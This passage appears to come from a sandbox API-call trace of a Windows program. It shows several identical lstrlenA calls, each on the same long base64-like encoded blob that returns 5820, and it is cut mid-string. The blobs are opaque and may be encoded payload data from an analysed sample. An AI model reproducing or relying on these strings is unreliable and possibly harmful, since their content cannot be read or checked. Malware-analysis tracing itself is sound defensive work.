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") returned 5820
	[0084.639] lstrlenA (lpString="E+gWS7stQk7klWvDkQSAvjgrgwQ9ZMaTS5QafTUP+jgDIoEI6au9VjT2M8NLyvtGg2gB7Wj8xophSNfZCh8rT5ggHXD334LNNubgw9/A/yG1AC3T4EMB7pmidOTfUEnshtq68nC5YzhsGayCIvZMa8VQMeLoDacAuoszlHf6o8UVvxCPQe+6Xrz1dhlCkP/uUuhQS2wsIbM+eumuFLAYWj8JWqRXL3SoFiySTzFcip/VmKpkS0ByS0wtiHTyqkhoe8pchI89D2yWk8ghYCpsvRnllWxNpscl14TddRJZvBZhoWRDvZeroUViApEt8YzMbO63sYtJ7n+jTv8uS6IDgcsUeoLSqDMvD/mMTVhEY0YGVs/wJYO38UCiBYtBdqTr+kDu3GS2+Nu3gqkSVxgJZc2MUFJCGUdGDxw1MhEpKvmx9WuQhVecmnZ54ZaacfRFTq6HL8OoFcVhMMZ1hoL98DD+C58CwHlChbh0W1SIxyv7ZOnLc7HjKWXaNBzbVDKDHx0L5xCRcci01Pg9N1kYFwtoFjYPP+rW2Q6Q6+Ey8no6g8BfI0X7Fe3yNRmBJDkfwgttccEcPnKnYmhR6orZFzbv8xPYOei3EBpxWPWQNYvBZeFu2Z6Q7Tsli5docxSGxRVNdhpYwi/Fc9Gctu4Nt2Rattg87JMzURadDUrqOMCCgARfI45Jr1dRgAqgjvizAF3kFSNdCz9RXpdOhzwU6wElGzj/umB/E1Cf61J6kaFwVGQeUfiX0plVIDrnskWha3qTj3qVeb31tLBLyvlvEAWmcc4/i7waD+hH9j5hovGP/zsfVyCnqBouO8VxlU+e6DC/Df9MLc0OKWg15hQkvfdOEkv51Dkr2xgyKNlHidbuN8z0oZcd9ZsjWZ3F5I3dg+sijGiBcxrM83337xGsmXZ3FapOf/6RVrwkGIJLZCjUTy6D3HUatfWMn9ARjBkHrHtQ8c7Yr9ScDo2TkHT8ySR6oeXfx5G/dPoYGw0W/BbRt/FF+aDwhkPvm9+vOjG7iVDNfexVNq7UHQpnaQu+KVdqxmFJUSgzefnKAkopFbcluxFXgozk2XKWNas7wqfKMWrt0IXEG2UhkLtrcd8p4JNBmNqsDijqc8ALYZwzFDKsVsrg5DzyIluyLMxG/TiakC/pBHkQ3RiZ5uvTydxtAD8n2yavcm0Kj5Fss82FGu+kBj35uhx4I7jDj20EwFB1Ph4M9k3/dFx0YXyk1S1gQrIGrnhCrb8U2+Y6YuqAXd/TbsXCLPz9ePTE+Lqet+H5JFdFbR/LgKR/IrZ2OCq8vHmPXkVd339xwOXS1LYNQ/jTiEw9ocs8XSfQiiF1lKyts17dW19MUzq2agefI4iBUvirUCPiXVKqgwmGHTfYJg3onDGZ9lzaQ1RMkYofNEg+olX5fvoOPf+IqVeOZsy/rodl5tiysKtgobARxKzixyeJxR+SpMjZcZWB542juT392bZxWTKtGybGXBkYhfLbJYtGZhTwVKm918Lbl4WHTx5nAxeuSpRATmqdBuNX/I8LPd0qeMmlCokyBRhNxYw8V4rBPQxlUDYvFC43eGey+eolIizMw2UpNe1K/hK6yaHl0PbqZLI4FBSppDbwXGbNvKyrby6gDVhdz529Co4/9gjezuRA5hzjEesWKRHwXz6Nkg1rXN2q+I5vEBk5Vm3/LxMMSqfDfZvOTjmXhZO6gf0Yt/OCBChNVb5tWNwHdXVyTigH+9xgQytSKJ9NMmu0XL5dodxhkGNjTJlgdmmHgj8eY9SNf16KdoCq84u6uF6t5NhQpd1YAZnH1000rYOtr8vbD8lJMF1Tb8DgYfpGXCTeuRfTzFIqC+SRLhxsr1q+ntzssL6Otm5WN0Q2QIHKtJEJC0ihG7wD2sMSpC8SJKsIsTfzgzNTgeuzotx89ITb5KiQJaoYYJk0J7rMAVc0StgpbC5gHdEY5cOSwNv8zCH7PYvqSx0sN+J/l/0t0ZpcObGamhpKOtmyTULxenkmvPyOyBi3wJy5daoq9rOiwRjJfeN++QSMU93IKGiylNe6dIBDzbhqm1XUqwrS8rX2KXau+EH9ypf1nh/NIP+FHq3d8O94qIZrpFYBIXLilFkN8QWDVfBEzi0rnA33zlQEjh1sedNVNKxtpDbjr2ij10KXhgm9agdN/WIUiRh2ZAyZC8DzvgQE0kQEk9T24OPDjZ00F1q5SSajlP7brLYPkmXDHGkwpoDcHZEz735QKoa4BSivimzbfyw6iUfoG5qzyvOcYgZoDdy8YdkEniwqV7D7pzWBuYqHJULHsL4RpjUKOEZLFiwevz6uitOs/eZ4ys+yHAdgpV1V4c1c2PnL9DhEGJMCBMkmwkAEZVUhOLVhnalPnwioekw/rf+QLO4I8/dORvBjgkieS1mKk5ekbhhX1CfbD7VTi8zPdRBQvXQQs8A4KGCylGG+2MCtJ4sTOHb/ViG1W5TPEZvi4s+kHQLE6YjPn0APfeIdP86NS1TFugv5h+g7oty4NDRb+WYteWsq4dXTA5gTAfhgrtW4tq/8wXBIj+qUVUbXtuUpeoW/VdBKmDWaWjvQWUaQmjjSp+qavLUb+NTWKAvXjD7xBStoHJ0rN/y1FYNCHxuLhq43rOC6k2QKhyN4A8crOYeXzGZUZ1slwHa63caXpSjrmmASG/V0Km+TBwO7lykEiBGaq7YXXgrwZI2nnt3O/VxoC5i4FJz+vDsKtZw8omqF2nwgBf3xM/l6rpEQUO8AYcOLFQt8r/yW/ikSouhKJ/+4wrD8y+eobJ2aERtJC5jBCsuM0VmoPhzHIeD2F6rZa2dQwgcYn73FlkjWXwB18uyFCTHMkCbvXVycBBM+QcB2RP89DWB96BsyInYy+DF1pjp0fhsiYgvxTAZjIEMbkfNY9cGALR19UbJLEkZe7Yil0deqNMaHMCDwCAxKwFYaauZfp27catSyvvs0Tey9P6BH2foj6Y088YmPaqA5Lsv2dvGyE09CN6Cn+pn8EybUhaH7/6iqTgubM7VsIb1AYNHuKrhTiUg+/fj8lmsNFR4mVfo8AHRSoBmn5FGaUVB46b8PyalJolBNElJB91ekBM3D8AsLEPHxMAbGc/nG9VIcSBOtKCKrxcuPHz/+bvav3V5kMpSPyc/sWbEx7MZiqwYimRkPbKitVtcj/N0CMbWtNTc7ISxvdCxAB8Bks7cZ1Xn7lmzQUxLwylQA4XMJXrwDHE5Zz2QFlxQ1fi5j/nrBWwnQIW85rfG49k5exqhlyQvfVIcoeiWuX2t869wj4ZLI0LO+WycAWIsBCB3HlAGf6xvPsRFArGcoANLPskqEMRwwScf19bIVKI9Phrfq+XEyHllSE1IfVMydxPX9sfRmXFLP4z6f5qZGTMc8e8cGwqAYSes4j5zawjYB0HETHpuwUi4QIJvve0OaJKd+w/KSObipMao2YbIVhUm9c9dnDyDmEcBWIPIlf1BE+cLR6nsqab3rP2E4uUaVtDlSnwDMk0bpidgrONLyWz2t78BreT1QFmHPiyytUXHRMkNmE7G/IlA7NHJldZptETcMq98GD/XmpliedFh3Vm1nPys1N63QdWz2u0ApfgYkNYQI1ZNRDBmRAo9cc/49Jkh6Na4knxVZIthDsC205K+qv1aqXJ6wZ9B3TiYhmGoIjsjlGeKF7nXbztIBEGGtp790iPZvb6hnurXNZaHbiuixr33SPO6yK6o+G/eGA+KeHmp4jm+NwBuL4P1hc2clVcHMLne0fe2Mi+uYSM2beBLczVL1AkgReqT0lUToaOjgIUGAswuOzlQagLxuxiYWkj4M5YkbOtsAY3DAT1q1b44cIvlVZz/fW6yfeaPR1nPj0vJ653chI+qoKnh9h4NGN1gOvH7z9Gvao+Z2YCIfPXCT3Oq5uB/gUNIfWtxXsBntxUcRPONWpADjWWTjhqO6xPN9mcRCh6LSbWaazGC+oHawwVAZjhVu2LUiuq9a76xZM9XDVUDnBZKQtJqsRlkfQ4On0kk0DZSo3PI1hdycZ9YIp9+zhA8jDSdQMu2fA/D6vw/NoN3pIYCpJ9KWIb2zUTKpnxDWxXMYnz2+J1ZwVvNhkuI68Y1BbaYzjZq/0iUFT9X7KVboqbeuhu+wWc97VSlk4qHIq5gYhnoPYscPWrU4fD1KApAkIcuNJIi0nsUotOoDd1qVhQNl5ff5uYrdRg23FSU5DRgwlqo9QmMT2xd0OVEOHlUD+Yea6UDhhnIdVPFxM5/UhIaLXqO97ovabRGHzJrBPA8CR5Sab/B4GwFsYNIL/SosMF/N6BrZkuYVjiC+gsPWKe7XqiXDDbRVHzszFhzyPrjWgFpgHbg8pS2m04nNzjleUEoJWnx839sMPuknZ6EbcmX0XVk7EuDdOHs+xK22RuZsJwGuJFiR96raTnLNLRYkcXAuS5HbMbfgiT5h3zGQ5RgRn6kTaSTs5aJvLkYo0yL2/9/aBAzGxtcF/pTngc8/DTbkYi7v6almd46gauZzcJhJ/hRAfznSBaX3TXzvlwwWBWxKD+8QZWcIN/SLNSjY926DAx45oko8XmYQe1tyizClFib1u2IDMOTaWJOCQR00c0oRnhFvSCE0kTjc0AnEOfh2QBU4IofiadkQP53Bied2XkA8NcbuRmnQnSQ89DaDa/3h4wZhQFSfD6Z4FdtQfaZ/MYhv5o0LEZVdADC4jZETfFhUawYO6fiw2TPWTpcVEf3CSc3mBAZFAng6camyLLhtHsL24tHTFSDmtvgGQWDCLaSJAavl9Z36rbaQZviRaPECizFN5IYfmONDsT95lfe/1h70vyYsKQ1Uxj518FbqdY0uZJ+zNWsRnCaIkSNmWDkGGWlrFbLvvG000Qdq9ukh49mOh9XZnMsUxmYa8fjtv5UZNKFpSP/VODavbItL4bL1QcqqikQD8xymYECCOr5v2gIEFL3vTjDyJodz0wB5Cbmu5qK9s1hX4BvA4IziQcvaJ3qyaFOB68C6K6H5SV8ew+WCTfLaSYrRLDzrdvD7HSuzDy9rRdRm6Rt18EBj+TStzXkvgyTmfs/DbfixfoY93MvYD4gwYwE/No3AXTOP7Euj/HdTOc7Vmalz2RfbLOzoBlXiPmAn2QaYUc0lOuplD3V1jUJ9BEW3/lkl1d3t8Kxp4VSF0uZLwX0bxFaMvl4GembGuzP1TrhiqSKdu/uXFlPqsHPFFgaUG4k8h+peaNfpCRyvE2vQpxtFtRJ3Aq0XxqDWTm8JeZl69nIWRwqemylFWdq9AMokjYvTCeRRjDZ+ZrJM9Za5BuKAL5SVoocUmY8/0BzzpSx2xF3hXK+4RlxEKlNUcGWWZL/ud8L2o6E674K2jlrqyehrOWIK11//zgPwTff+fyKk5swMp8e7kgxsvk1TYLRRcJtNhcSF3H13eErTO2mVjK7xfghzFOEIbnoiMV0NNLKcBSgm+1wcqAghSK8KqFYE1w/wkhhW5f6hpXZUB2l8djg3I5dlRT1SzDNcuqlBrA/dvVYOOjBLQVDIUvw7o2aX0gbxuIfCL0XbLQ5AjH7YNodTlNw2pN5yJqtVvnxMkLc6p8QeTKkEPVOYnusItZqgC3niCkkq5mzVIA4vXLGwxfV7mUGmyD5oNpqYlYIkTLglgH65yE+hpWrAQaPM6Gh5imIoda30Eee+4bB1Rjw/eA3pzRocuIyZsqbcfDsJ0SUEakBGBhSCUKVFmRpFuKiJnt69EtvkeGiw/Cs//IcsJJEzkAlxK8DuVJN9FUiKav7HWfu7X4ffy8NPKo6qBEpx+wwFDIPpCrbCtr3bV+JWe65309F0BFVMhyBh+Uem4+w=") returned 5820
	[0084.639] lstrlenA (lpString="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") returned 5820
	[0084.639] lstrlenA (lpString="E+gWS7stQk7klWvDkQSAvjgrgwQ9ZMaTS5QafTUP+jgDIoEI6au9VjT2M8NLyvtGg2gB7Wj8xophSNfZCh8rT5ggHXD334LNNubgw9/A/yG1AC3T4EMB7pmidOTfUEnshtq68nC5YzhsGayCIvZMa8VQMeLoDacAuoszlHf6o8UVvxCPQe+6Xrz1dhlCkP/uUuhQS2wsIbM+eumuFLAYWj8JWqRXL3SoFiySTzFcip/VmKpkS0ByS0wtiHTyqkhoe8pchI89D2yWk8ghYCpsvRnllWxNpscl14TddRJZvBZhoWRDvZeroUViApEt8YzMbO63sYtJ7n+jTv8uS6IDgcsUeoLSqDMvD/mMTVhEY0YGVs/wJYO38UCiBYtBdqTr+kDu3GS2+Nu3gqkSVxgJZc2MUFJCGUdGDxw1MhEpKvmx9WuQhVecmnZ54ZaacfRFTq6HL8OoFcVhMMZ1hoL98DD+C58CwHlChbh0W1SIxyv7ZOnLc7HjKWXaNBzbVDKDHx0L5xCRcci01Pg9N1kYFwtoFjYPP+rW2Q6Q6+Ey8no6g8BfI0X7Fe3yNRmBJDkfwgttccEcPnKnYmhR6orZFzbv8xPYOei3EBpxWPWQNYvBZeFu2Z6Q7Tsli5docxSGxRVNdhpYwi/Fc9Gctu4Nt2Rattg87JMzURadDUrqOMCCgARfI45Jr1dRgAqgjvizAF3kFSNdCz9RXpdOhzwU6wElGzj/umB/E1Cf61J6kaFwVGQeUfiX0plVIDrnskWha3qTj3qVeb31tLBLyvlvEAWmcc4/i7waD+hH9j5hovGP/zsfVyCnqBouO8VxlU+e6DC/Df9MLc0OKWg15hQkvfdOEkv51Dkr2xgyKNlHidbuN8z0oZcd9ZsjWZ3F5I3dg+sijGiBcxrM83337xGsmXZ3FapOf/6RVrwkGIJLZCjUTy6D3HUatfWMn9ARjBkHrHtQ8c7Yr9ScDo2TkHT8ySR6oeXfx5G/dPoYGw0W/BbRt/FF+aDwhkPvm9+vOjG7iVDNfexVNq7UHQpnaQu+KVdqxmFJUSgzefnKAkopFbcluxFXgozk2XKWNas7wqfKMWrt0IXEG2UhkLtrcd8p4JNBmNqsDijqc8ALYZwzFDKsVsrg5DzyIluyLMxG/TiakC/pBHkQ3RiZ5uvTydxtAD8n2yavcm0Kj5Fss82FGu+kBj35uhx4I7jDj20EwFB1Ph4M9k3/dFx0YXyk1S1gQrIGrnhCrb8U2+Y6YuqAXd/TbsXCLPz9ePTE+Lqet+H5JFdFbR/LgKR/IrZ2OCq8vHmPXkVd339xwOXS1LYNQ/jTiEw9ocs8XSfQiiF1lKyts17dW19MUzq2agefI4iBUvirUCPiXVKqgwmGHTfYJg3onDGZ9lzaQ1RMkYofNEg+olX5fvoOPf+IqVeOZsy/rodl5tiysKtgobARxKzixyeJxR+SpMjZcZWB542juT392bZxWTKtGybGXBkYhfLbJYtGZhTwVKm918Lbl4WHTx5nAxeuSpRATmqdBuNX/I8LPd0qeMmlCokyBRhNxYw8V4rBPQxlUDYvFC43eGey+eolIizMw2UpNe1K/hK6yaHl0PbqZLI4FBSpp